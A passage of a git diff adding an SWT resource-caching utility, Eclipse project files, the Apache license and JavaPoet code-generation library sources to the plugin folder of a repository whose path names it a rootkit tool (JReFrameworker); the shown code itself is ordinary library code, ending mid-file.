+ } + } + /** + * Returns an {@link Image} stored in the file at the specified path. + * + * @param path + * the path to the image file + * @return the {@link Image} stored in the file at the specified path + */ + public static Image getImage(String path) { + Image image = m_imageMap.get(path); + if (image == null) { + try { + image = getImage(new FileInputStream(path)); + m_imageMap.put(path, image); + } catch (Exception e) { + image = getMissingImage(); + m_imageMap.put(path, image); + } + } + return image; + } + /** + * Returns an {@link Image} stored in the file at the specified path relative to the specified class. + * + * @param clazz + * the {@link Class} relative to which to find the image + * @param path + * the path to the image file, if starts with '/' + * @return the {@link Image} stored in the file at the specified path + */ + public static Image getImage(Class clazz, String path) { + String key = clazz.getName() + '|' + path; + Image image = m_imageMap.get(key); + if (image == null) { + try { + image = getImage(clazz.getResourceAsStream(path)); + m_imageMap.put(key, image); + } catch (Exception e) { + image = getMissingImage(); + m_imageMap.put(key, image); + } + } + return image; + } + private static final int MISSING_IMAGE_SIZE = 10; + /** + * @return the small {@link Image} that can be used as placeholder for missing image. + */ + private static Image getMissingImage() { + Image image = new Image(Display.getCurrent(), MISSING_IMAGE_SIZE, MISSING_IMAGE_SIZE); + // + GC gc = new GC(image); + gc.setBackground(getColor(SWT.COLOR_RED)); + gc.fillRectangle(0, 0, MISSING_IMAGE_SIZE, MISSING_IMAGE_SIZE); + gc.dispose(); + // + return image; + } + /** + * Style constant for placing decorator image in top left corner of base image. + */ + public static final int TOP_LEFT = 1; + /** + * Style constant for placing decorator image in top right corner of base image. + */ + public static final int TOP_RIGHT = 2; + /** + * Style constant for placing decorator image in bottom left corner of base image. + */ + public static final int BOTTOM_LEFT = 3; + /** + * Style constant for placing decorator image in bottom right corner of base image. + */ + public static final int BOTTOM_RIGHT = 4; + /** + * Internal value. + */ + protected static final int LAST_CORNER_KEY = 5; + /** + * Maps images to decorated images. + */ + @SuppressWarnings("unchecked") + private static Map>[] m_decoratedImageMap = new Map[LAST_CORNER_KEY]; + /** + * Returns an {@link Image} composed of a base image decorated by another image. + * + * @param baseImage + * the base {@link Image} that should be decorated + * @param decorator + * the {@link Image} to decorate the base image + * @return {@link Image} The resulting decorated image + */ + public static Image decorateImage(Image baseImage, Image decorator) { + return decorateImage(baseImage, decorator, BOTTOM_RIGHT); + } + /** + * Returns an {@link Image} composed of a base image decorated by another image. + * + * @param baseImage + * the base {@link Image} that should be decorated + * @param decorator + * the {@link Image} to decorate the base image + * @param corner + * the corner to place decorator image + * @return the resulting decorated {@link Image} + */ + public static Image decorateImage(final Image baseImage, final Image decorator, final int corner) { + if (corner <= 0 || corner >= LAST_CORNER_KEY) { + throw new IllegalArgumentException("Wrong decorate corner"); + } + Map> cornerDecoratedImageMap = m_decoratedImageMap[corner]; + if (cornerDecoratedImageMap == null) { + cornerDecoratedImageMap = new HashMap>(); + m_decoratedImageMap[corner] = cornerDecoratedImageMap; + } + Map decoratedMap = cornerDecoratedImageMap.get(baseImage); + if (decoratedMap == null) { + decoratedMap = new HashMap(); + cornerDecoratedImageMap.put(baseImage, decoratedMap); + } + // + Image result = decoratedMap.get(decorator); + if (result == null) { + Rectangle bib = baseImage.getBounds(); + Rectangle dib = decorator.getBounds(); + // + result = new Image(Display.getCurrent(), bib.width, bib.height); + // + GC gc = new GC(result); + gc.drawImage(baseImage, 0, 0); + if (corner == TOP_LEFT) { + gc.drawImage(decorator, 0, 0); + } else if (corner == TOP_RIGHT) { + gc.drawImage(decorator, bib.width - dib.width, 0); + } else if (corner == BOTTOM_LEFT) { + gc.drawImage(decorator, 0, bib.height - dib.height); + } else if (corner == BOTTOM_RIGHT) { + gc.drawImage(decorator, bib.width - dib.width, bib.height - dib.height); + } + gc.dispose(); + // + decoratedMap.put(decorator, result); + } + return result; + } + /** + * Dispose all of the cached {@link Image}'s. + */ + public static void disposeImages() { + // dispose loaded images + { + for (Image image : m_imageMap.values()) { + image.dispose(); + } + m_imageMap.clear(); + } + // dispose decorated images + for (int i = 0; i < m_decoratedImageMap.length; i++) { + Map> cornerDecoratedImageMap = m_decoratedImageMap[i]; + if (cornerDecoratedImageMap != null) { + for (Map decoratedMap : cornerDecoratedImageMap.values()) { + for (Image image : decoratedMap.values()) { + image.dispose(); + } + decoratedMap.clear(); + } + cornerDecoratedImageMap.clear(); + } + } + } + //////////////////////////////////////////////////////////////////////////// + // + // Font + // + //////////////////////////////////////////////////////////////////////////// + /** + * Maps font names to fonts. + */ + private static Map m_fontMap = new HashMap(); + /** + * Maps fonts to their bold versions. + */ + private static Map m_fontToBoldFontMap = new HashMap(); + /** + * Returns a {@link Font} based on its name, height and style. + * + * @param name + * the name of the font + * @param height + * the height of the font + * @param style + * the style of the font + * @return {@link Font} The font matching the name, height and style + */ + public static Font getFont(String name, int height, int style) { + return getFont(name, height, style, false, false); + } + /** + * Returns a {@link Font} based on its name, height and style. Windows-specific strikeout and underline + * flags are also supported. + * + * @param name + * the name of the font + * @param size + * the size of the font + * @param style + * the style of the font + * @param strikeout + * the strikeout flag (warning: Windows only) + * @param underline + * the underline flag (warning: Windows only) + * @return {@link Font} The font matching the name, height, style, strikeout and underline + */ + public static Font getFont(String name, int size, int style, boolean strikeout, boolean underline) { + String fontName = name + '|' + size + '|' + style + '|' + strikeout + '|' + underline; + Font font = m_fontMap.get(fontName); + if (font == null) { + FontData fontData = new FontData(name, size, style); + if (strikeout || underline) { + try { + Class logFontClass = Class.forName("org.eclipse.swt.internal.win32.LOGFONT"); //$NON-NLS-1$ + Object logFont = FontData.class.getField("data").get(fontData); //$NON-NLS-1$ + if (logFont != null && logFontClass != null) { + if (strikeout) { + logFontClass.getField("lfStrikeOut").set(logFont, Byte.valueOf((byte) 1)); //$NON-NLS-1$ + } + if (underline) { + logFontClass.getField("lfUnderline").set(logFont, Byte.valueOf((byte) 1)); //$NON-NLS-1$ + } + } + } catch (Throwable e) { + System.err.println("Unable to set underline or strikeout" + " (probably on a non-Windows platform). " + e); //$NON-NLS-1$ //$NON-NLS-2$ + } + } + font = new Font(Display.getCurrent(), fontData); + m_fontMap.put(fontName, font); + } + return font; + } + /** + * Returns a bold version of the given {@link Font}. + * + * @param baseFont + * the {@link Font} for which a bold version is desired + * @return the bold version of the given {@link Font} + */ + public static Font getBoldFont(Font baseFont) { + Font font = m_fontToBoldFontMap.get(baseFont); + if (font == null) { + FontData fontDatas[] = baseFont.getFontData(); + FontData data = fontDatas[0]; + font = new Font(Display.getCurrent(), data.getName(), data.getHeight(), SWT.BOLD); + m_fontToBoldFontMap.put(baseFont, font); + } + return font; + } + /** + * Dispose all of the cached {@link Font}'s. + */ + public static void disposeFonts() { + // clear fonts + for (Font font : m_fontMap.values()) { + font.dispose(); + } + m_fontMap.clear(); + // clear bold fonts + for (Font font : m_fontToBoldFontMap.values()) { + font.dispose(); + } + m_fontToBoldFontMap.clear(); + } + //////////////////////////////////////////////////////////////////////////// + // + // Cursor + // + //////////////////////////////////////////////////////////////////////////// + /** + * Maps IDs to cursors. + */ + private static Map m_idToCursorMap = new HashMap(); + /** + * Returns the system cursor matching the specific ID. + * + * @param id + * int The ID value for the cursor + * @return Cursor The system cursor matching the specific ID + */ + public static Cursor getCursor(int id) { + Integer key = Integer.valueOf(id); + Cursor cursor = m_idToCursorMap.get(key); + if (cursor == null) { + cursor = new Cursor(Display.getDefault(), id); + m_idToCursorMap.put(key, cursor); + } + return cursor; + } + /** + * Dispose all of the cached cursors. + */ + public static void disposeCursors() { + for (Cursor cursor : m_idToCursorMap.values()) { + cursor.dispose(); + } + m_idToCursorMap.clear(); + } + //////////////////////////////////////////////////////////////////////////// + // + // General + // + //////////////////////////////////////////////////////////////////////////// + /** + * Dispose of cached objects and their underlying OS resources. This should only be called when the cached + * objects are no longer needed (e.g. on application shutdown). + */ + public static void dispose() { + disposeColors(); + disposeImages(); + disposeFonts(); + disposeCursors(); + } +} \ No newline at end of file diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/swing2swt.jar b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/swing2swt.jar new file mode 100644 index 0000000..a634504 Binary files /dev/null and b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/swing2swt.jar differ diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/.classpath b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/.classpath new file mode 100644 index 0000000..fceb480 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/.classpath @@ -0,0 +1,6 @@ + + + + + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/.gitignore b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/.gitignore new file mode 100644 index 0000000..ae3c172 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/.gitignore @@ -0,0 +1 @@ +/bin/ diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/.project b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/.project new file mode 100644 index 0000000..38caa1c --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/.project @@ -0,0 +1,17 @@ + + + com.squareup.javapoet.core + + + + + + org.eclipse.jdt.core.javabuilder + + + + + + org.eclipse.jdt.core.javanature + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/.settings/org.eclipse.jdt.core.prefs b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..3a21537 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,11 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.8 +org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve +org.eclipse.jdt.core.compiler.compliance=1.8 +org.eclipse.jdt.core.compiler.debug.lineNumber=generate +org.eclipse.jdt.core.compiler.debug.localVariable=generate +org.eclipse.jdt.core.compiler.debug.sourceFile=generate +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.8 diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/LICENSE b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/LICENSE new file mode 100644 index 0000000..7a4a3ea --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/LICENSE @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. \ No newline at end of file diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/build-javapoet.ant.xml b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/build-javapoet.ant.xml new file mode 100644 index 0000000..7bf4cf6 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/build-javapoet.ant.xml @@ -0,0 +1,8 @@ + + + + + + + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/AnnotationSpec.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/AnnotationSpec.java new file mode 100644 index 0000000..380bdac --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/AnnotationSpec.java @@ -0,0 +1,285 @@ +/* + * Copyright (C) 2015 Square, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.squareup.javapoet; + +import static com.squareup.javapoet.Util.characterLiteralWithoutSingleQuotes; +import static com.squareup.javapoet.Util.checkNotNull; + +import java.io.IOException; +import java.io.StringWriter; +import java.lang.annotation.Annotation; +import java.lang.reflect.Array; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Comparator; +import java.util.Iterator; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +import javax.lang.model.element.AnnotationMirror; +import javax.lang.model.element.AnnotationValue; +import javax.lang.model.element.ExecutableElement; +import javax.lang.model.element.TypeElement; +import javax.lang.model.element.VariableElement; +import javax.lang.model.type.TypeMirror; +import javax.lang.model.util.SimpleAnnotationValueVisitor7; + +/** A generated annotation on a declaration. */ +public final class AnnotationSpec { + public final TypeName type; + public final Map> members; + + private AnnotationSpec(Builder builder) { + this.type = builder.type; + this.members = Util.immutableMultimap(builder.members); + } + + void emit(CodeWriter codeWriter, boolean inline) throws IOException { + String whitespace = inline ? "" : "\n"; + String memberSeparator = inline ? ", " : ",\n"; + if (members.isEmpty()) { + // @Singleton + codeWriter.emit("@$T", type); + } else if (members.size() == 1 && members.containsKey("value")) { + // @Named("foo") + codeWriter.emit("@$T(", type); + emitAnnotationValues(codeWriter, whitespace, memberSeparator, members.get("value")); + codeWriter.emit(")"); + } else { + // Inline: + // @Column(name = "updated_at", nullable = false) + // + // Not inline: + // @Column( + // name = "updated_at", + // nullable = false + // ) + codeWriter.emit("@$T(" + whitespace, type); + codeWriter.indent(2); + for (Iterator>> i + = members.entrySet().iterator(); i.hasNext(); ) { + Map.Entry> entry = i.next(); + codeWriter.emit("$L = ", entry.getKey()); + emitAnnotationValues(codeWriter, whitespace, memberSeparator, entry.getValue()); + if (i.hasNext()) codeWriter.emit(memberSeparator); + } + codeWriter.unindent(2); + codeWriter.emit(whitespace + ")"); + } + } + + private void emitAnnotationValues(CodeWriter codeWriter, String whitespace, + String memberSeparator, List values) throws IOException { + if (values.size() == 1) { + codeWriter.indent(2); + codeWriter.emit(values.get(0)); + codeWriter.unindent(2); + return; + } + + codeWriter.emit("{" + whitespace); + codeWriter.indent(2); + boolean first = true; + for (CodeBlock codeBlock : values) { + if (!first) codeWriter.emit(memberSeparator); + codeWriter.emit(codeBlock); + first = false; + } + codeWriter.unindent(2); + codeWriter.emit(whitespace + "}"); + } + + public static AnnotationSpec get(Annotation annotation) { + return get(annotation, false); + } + + public static AnnotationSpec get(Annotation annotation, boolean includeDefaultValues) { + Builder builder = builder(annotation.annotationType()); + try { + Method[] methods = annotation.annotationType().getDeclaredMethods(); + Arrays.sort(methods, new Comparator() { + @Override + public int compare(Method m1, Method m2) { + return m1.getName().compareTo(m2.getName()); + } + }); + for (Method method : methods) { + Object value = method.invoke(annotation); + if (!includeDefaultValues) { + if (Objects.deepEquals(value, method.getDefaultValue())) { + continue; + } + } + if (value.getClass().isArray()) { + for (int i = 0; i < Array.getLength(value); i++) { + builder.addMemberForValue(method.getName(), Array.get(value, i)); + } + continue; + } + if (value instanceof Annotation) { + builder.addMember(method.getName(), "$L", get((Annotation) value)); + continue; + } + builder.addMemberForValue(method.getName(), value); + } + } catch (Exception e) { + throw new RuntimeException("Reflecting " + annotation + " failed!", e); + } + return builder.build(); + } + + public static AnnotationSpec get(AnnotationMirror annotation) { + TypeElement element = (TypeElement) annotation.getAnnotationType().asElement(); + AnnotationSpec.Builder builder = AnnotationSpec.builder(ClassName.get(element)); + Visitor visitor = new Visitor(builder); + for (ExecutableElement executableElement : annotation.getElementValues().keySet()) { + String name = executableElement.getSimpleName().toString(); + AnnotationValue value = annotation.getElementValues().get(executableElement); + value.accept(visitor, name); + } + return builder.build(); + } + + public static Builder builder(ClassName type) { + checkNotNull(type, "type == null"); + return new Builder(type); + } + + public static Builder builder(Class type) { + return builder(ClassName.get(type)); + } + + public Builder toBuilder() { + Builder builder = new Builder(type); + for (Map.Entry> entry : members.entrySet()) { + builder.members.put(entry.getKey(), new ArrayList<>(entry.getValue())); + } + return builder; + } + + @Override public boolean equals(Object o) { + if (this == o) return true; + if (o == null) return false; + if (getClass() != o.getClass()) return false; + return toString().equals(o.toString()); + } + + @Override public int hashCode() { + return toString().hashCode(); + } + + @Override public String toString() { + StringWriter out = new StringWriter(); + try { + CodeWriter codeWriter = new CodeWriter(out); + codeWriter.emit("$L", this); + return out.toString(); + } catch (IOException e) { + throw new AssertionError(); + } + } + + public static final class Builder { + private final TypeName type; + private final Map> members = new LinkedHashMap<>(); + + private Builder(TypeName type) { + this.type = type; + } + + public Builder addMember(String name, String format, Object... args) { + return addMember(name, CodeBlock.of(format, args)); + } + + public Builder addMember(String name, CodeBlock codeBlock) { + List values = members.get(name); + if (values == null) { + values = new ArrayList<>(); + members.put(name, values); + } + values.add(codeBlock); + return this; + } + + /** + * Delegates to {@link #addMember(String, String, Object...)}, with parameter {@code format} + * depending on the given {@code value} object. Falls back to {@code "$L"} literal format if + * the class of the given {@code value} object is not supported. + */ + Builder addMemberForValue(String memberName, Object value) { + checkNotNull(memberName, "memberName == null"); + checkNotNull(value, "value == null, constant non-null value expected for %s", memberName); + if (value instanceof Class) { + return addMember(memberName, "$T.class", value); + } + if (value instanceof Enum) { + return addMember(memberName, "$T.$L", value.getClass(), ((Enum) value).name()); + } + if (value instanceof String) { + return addMember(memberName, "$S", value); + } + if (value instanceof Float) { + return addMember(memberName, "$Lf", value); + } + if (value instanceof Character) { + return addMember(memberName, "'$L'", characterLiteralWithoutSingleQuotes((char) value)); + } + return addMember(memberName, "$L", value); + } + + public AnnotationSpec build() { + return new AnnotationSpec(this); + } + } + + /** + * Annotation value visitor adding members to the given builder instance. + */ + private static class Visitor extends SimpleAnnotationValueVisitor7 { + final Builder builder; + + Visitor(Builder builder) { + super(builder); + this.builder = builder; + } + + @Override protected Builder defaultAction(Object o, String name) { + return builder.addMemberForValue(name, o); + } + + @Override public Builder visitAnnotation(AnnotationMirror a, String name) { + return builder.addMember(name, "$L", get(a)); + } + + @Override public Builder visitEnumConstant(VariableElement c, String name) { + return builder.addMember(name, "$T.$L", c.asType(), c.getSimpleName()); + } + + @Override public Builder visitType(TypeMirror t, String name) { + return builder.addMember(name, "$T.class", t); + } + + @Override public Builder visitArray(List values, String name) { + for (AnnotationValue value : values) { + value.accept(this, name); + } + return builder; + } + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/ArrayTypeName.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/ArrayTypeName.java new file mode 100644 index 0000000..07ff329 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/ArrayTypeName.java @@ -0,0 +1,83 @@ +/* + * Copyright (C) 2015 Square, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.squareup.javapoet; + +import static com.squareup.javapoet.Util.checkNotNull; + +import java.io.IOException; +import java.lang.reflect.GenericArrayType; +import java.lang.reflect.Type; +import java.util.ArrayList; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; + +import javax.lang.model.element.TypeParameterElement; +import javax.lang.model.type.ArrayType; + +public final class ArrayTypeName extends TypeName { + public final TypeName componentType; + + private ArrayTypeName(TypeName componentType) { + this(componentType, new ArrayList()); + } + + private ArrayTypeName(TypeName componentType, List annotations) { + super(annotations); + this.componentType = checkNotNull(componentType, "rawType == null"); + } + + @Override public ArrayTypeName annotated(List annotations) { + return new ArrayTypeName(componentType, concatAnnotations(annotations)); + } + + @Override public TypeName withoutAnnotations() { + return new ArrayTypeName(componentType); + } + + @Override CodeWriter emit(CodeWriter out) throws IOException { + return out.emit("$T[]", componentType); + } + + /** Returns an array type whose elements are all instances of {@code componentType}. */ + public static ArrayTypeName of(TypeName componentType) { + return new ArrayTypeName(componentType); + } + + /** Returns an array type whose elements are all instances of {@code componentType}. */ + public static ArrayTypeName of(Type componentType) { + return of(TypeName.get(componentType)); + } + + /** Returns an array type equivalent to {@code mirror}. */ + public static ArrayTypeName get(ArrayType mirror) { + return get(mirror, new LinkedHashMap()); + } + + static ArrayTypeName get( + ArrayType mirror, Map typeVariables) { + return new ArrayTypeName(get(mirror.getComponentType(), typeVariables)); + } + + /** Returns an array type equivalent to {@code type}. */ + public static ArrayTypeName get(GenericArrayType type) { + return get(type, new LinkedHashMap()); + } + + static ArrayTypeName get(GenericArrayType type, Map map) { + return ArrayTypeName.of(get(type.getGenericComponentType(), map)); + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/ClassName.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/ClassName.java new file mode 100644 index 0000000..52002c9 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/ClassName.java @@ -0,0 +1,231 @@ +/* + * Copyright (C) 2014 Google, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.squareup.javapoet; + +import static com.squareup.javapoet.Util.checkArgument; +import static com.squareup.javapoet.Util.checkNotNull; +import static javax.lang.model.element.NestingKind.MEMBER; +import static javax.lang.model.element.NestingKind.TOP_LEVEL; + +import java.io.IOException; +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.Map; + +import javax.lang.model.SourceVersion; +import javax.lang.model.element.Element; +import javax.lang.model.element.ElementKind; +import javax.lang.model.element.PackageElement; +import javax.lang.model.element.TypeElement; + +/** A fully-qualified class name for top-level and member classes. */ +public final class ClassName extends TypeName implements Comparable { + public static final ClassName OBJECT = ClassName.get(Object.class); + + /** From top to bottom. This will be ["java.util", "Map", "Entry"] for {@link Map.Entry}. */ + final List names; + final String canonicalName; + + private ClassName(List names) { + this(names, new ArrayList()); + } + + private ClassName(List names, List annotations) { + super(annotations); + for (int i = 1; i < names.size(); i++) { + checkArgument(SourceVersion.isName(names.get(i)), "part '%s' is keyword", names.get(i)); + } + this.names = Util.immutableList(names); + this.canonicalName = names.get(0).isEmpty() + ? 